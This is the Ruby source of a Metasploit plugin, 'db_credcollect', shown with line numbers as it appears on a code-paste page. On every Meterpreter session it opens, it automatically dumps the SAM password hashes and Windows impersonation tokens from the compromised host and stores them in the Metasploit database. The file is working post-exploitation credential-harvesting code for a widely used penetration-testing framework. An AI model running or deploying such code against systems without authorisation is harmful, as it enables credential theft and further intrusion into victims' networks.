db_credcollect.rb 2.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109
  1. # credcollect - tebo[at]attackresearch.com
  2. module Msf
  3. class Plugin::CredCollect < Msf::Plugin
  4. include Msf::SessionEvent
  5. class CredCollectCommandDispatcher
  6. include Msf::Ui::Console::CommandDispatcher
  7. def name
  8. 'credcollect'
  9. end
  10. def commands
  11. {
  12. 'db_hashes' => "Dumps hashes (deprecated: use 'creds -s smb')",
  13. 'db_tokens' => "Dumps tokens (deprecated: use 'notes -t smb_token')"
  14. }
  15. end
  16. def cmd_db_hashes
  17. print_error ''
  18. print_error "db_hashes is deprecated. Use 'creds -s smb' instead."
  19. print_error ''
  20. end
  21. def cmd_db_tokens
  22. print_error ''
  23. print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead."
  24. print_error ''
  25. end
  26. end
  27. def on_session_open(session)
  28. return if !framework.db.active
  29. print_status('This is CredCollect, I have the conn!')
  30. if (session.type == 'meterpreter')
  31. # Make sure we're rockin Priv and Incognito
  32. session.core.use('priv')
  33. session.core.use('incognito')
  34. # It wasn't me mom! Stinko did it!
  35. hashes = session.priv.sam_hashes
  36. # Target infos for the db record
  37. addr = session.sock.peerhost
  38. # This ought to read from the exploit's datastore.
  39. # Use the meterpreter script if you need to control it.
  40. smb_port = 445
  41. # Record hashes to the running db instance
  42. hashes.each do |hash|
  43. data = {}
  44. data[:host] = addr
  45. data[:port] = smb_port
  46. data[:sname] = 'smb'
  47. data[:user] = hash.user_name
  48. data[:pass] = hash.lanman + ':' + hash.ntlm
  49. data[:type] = 'smb_hash'
  50. data[:active] = true
  51. framework.db.report_auth_info(data)
  52. end
  53. # Record user tokens
  54. tokens = session.incognito.incognito_list_tokens(0).values
  55. # Meh, tokens come to us as a formatted string
  56. tokens = tokens.join.strip!.split("\n")
  57. tokens.each do |token|
  58. data = {}
  59. data[:host] = addr
  60. data[:type] = 'smb_token'
  61. data[:data] = token
  62. data[:update] = :unique_data
  63. framework.db.report_note(data)
  64. end
  65. end
  66. end
  67. def on_session_close(session, reason = ''); end
  68. def initialize(framework, opts)
  69. super
  70. self.framework.events.add_session_subscriber(self)
  71. add_console_dispatcher(CredCollectCommandDispatcher)
  72. end
  73. def cleanup
  74. framework.events.remove_session_subscriber(self)
  75. remove_console_dispatcher('credcollect')
  76. end
  77. def name
  78. 'db_credcollect'
  79. end
  80. def desc
  81. 'Automatically grab hashes and tokens from Meterpreter session events and store them in the database'
  82. end
  83. end
  84. end